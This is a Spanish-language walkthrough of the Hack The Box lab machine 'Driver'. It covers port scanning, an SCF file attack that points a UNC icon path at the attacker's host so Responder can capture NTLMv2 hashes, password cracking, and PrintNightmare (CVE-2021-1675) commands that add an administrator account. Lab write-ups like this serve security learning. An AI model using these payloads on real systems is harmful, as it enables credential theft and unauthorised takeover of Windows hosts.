Driver - Hack The Box

4 minute read

  4 minute read

La máquina Driver es una máquina virtual vulnerable de la plataforma HackTheBox con un nivel de dificultad EASY una calificación en el rank de 4.7, 9550 USER OWNS y 8344 SYSTEM OWNS con la ip 10.10.11.106 y un sistema operativo Windows.

Port Scan

Para empezar, hice un escaneo con la herramienta Nmap para encontrar los puertos abiertos disponibles en la máquina con [Ip:10.10.11.106] utilizando los parámetros:

  • -p-: Escaneo a toda la gama de puertos (65536).
  • -n: No hacen la resolución del DNS.
  • -T5: El parámetro más agresivo y ruidoso pero más rápido para hacer una exploración rápida.
  • –open: Muestra sólo los puertos con un estatus abierto.
  • -oG: Guarda la el output en formato Grepeable.

    Una vez que hicimos el escaneo de puertos con la herramienta ExtractPorts, vemos que los puertos que destacaron en este caso fueron 80,135,445,5985:

    Ya identificados los puertos abiertos realizare un escaneo de versiones y servicios de estos puertos con la herramienta nmap configurando los siguientes parámetros:

    • -sC: Script de enumeración básica de sondeo en puertos y servicios alojados.
    • -sV: Detección de versiones en servicios alojados en puertos.
    • -p : Puertos a inspeccionar.
    • -oN: Formatos de Nmap en los que se guardará el archivo.

    El resultado de el scaneo a puertos y servicios no mostró información interesante así que iniciare la fase de reconocimiento mediante el servicio web aprovechando que esta el puerto 80 abierto.

    Al entrar a la pagina se puede ver un panel de inicio de sesión y probando credenciales básicas como admin - admin se puede acceder a la pagina.

    Examinando la pagina se puede llegar al apartado de Firmware Update y hay un texto muy interesante el cual dice que Nuestro equipo de testeo revisará las cargas e iniciará las pruebas en breves

    Buscando formas de ingresar una rever shell o algún binario con código malicioso no se llego a ningún resultado y analizando el texto y recordando que esta SMB abierto podemos hacer un ataque SCF File Attack esto mediante la creación de un archivo SCF (Shell Command Files) el cual sirve para realizar un conjunto limitado de operaciones como mostrar el escritorio de Windows o abrir un explorador de Windows un archivo SCF puede ser utilizado para acceder a una ruta UNC que se usan para acceder a los recursos de red.

    Todo esto se puede usar para que cuando la victima descargue el archivo el archivo tenga definido que el icono del mismo es un archivo en la red del atacante esto con el fin hacer un SMB Relay que es un ataque utilizado para llevar a cabo ataques SMB man-in-the-middle y de esta forma obtener los Hashes NTLMv2 de usuario que esta descargando el archivo.

    Así que para hacer esto mencionado creare el archivo SCF con el siguiente contenido:

[shell]
Command=2
IconFile=\\10.10.14.180\share\winsad.ico
[Taskbar]
Command=ToggleDesktop

Ya teniendo el archivo listo usare la herramienta llamada responder que esta programada en python y sirve para hacer los ataques SMB Relay.

Ya listo el responder y esperando a eventos el siguiente paso subir el archivo en la web y esperar a que uno del equipo de testeo abra el archivo.

Una vez que se subo el archivo se puede ver como el usuario Tony abre el archivo y se ve como se obtiene el hash NTLMv2 del mismo.

Usando el la herramienta de john y el diccionario rockyou.txt se puede crackear el hash y se puede ver que la contraseña del usuario Tony es liltony

Lateral Movement

Con esto que acabamos de conseguir y recordando la fase de scaneo podemos ver que el puerto 5985 que es winrm el servicio de escritorio remoto de Windows podemos intentar entrar con el usuario tony y su password que crackeamos.

Esto se hará con la herramienta evil-winrm:

Privilege escalation

Ya que estamos dentro de la maquina el siguiente paso es enumerar los privilegios y ver procesos activos en la maquina. Mediante se hace el reconocimiento se puede ver que existe un proceso poco usual en maquinas windows llamado spoolsv.

Investigando se puede llegar a un repositorio de github este repositorio tiene un exploit el cual abusa de la vulnerabilidad con el CVE: CVE-2021-1675.

Así que sabiendo esto aprovechando la herramienta de evil-winrm usare el comando upload para subir el exploit de powershell a la maquina, para esto cree una carpeta llamada winsad en la ruta /temp:

Ya una vez que subi el exploit y ejecute lo siguiente:

  Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
  Import-Module .\cve-2021-1675.ps1
  Invoke-Nightmare -DriverName "Xerox" -NewUser "winsad" -NewPassword "winsad"

Lo que hace el exploit es abusar de un DLL de este servicio spoolsv y crea un usuario nuevo y lo agrega al grupo de administrador.

Una vez ejecutado el exploit sin problemas vuelvo a entrar con evil-winrm com las credenciales winsad - winsad.

Y como se puede ver puedo acceder a la maquina con el usuario winsad el cual esta en el grupo administrador.

De esta forma podemos entrar al directorio del usuario Administrador y así visualizar la flag de root.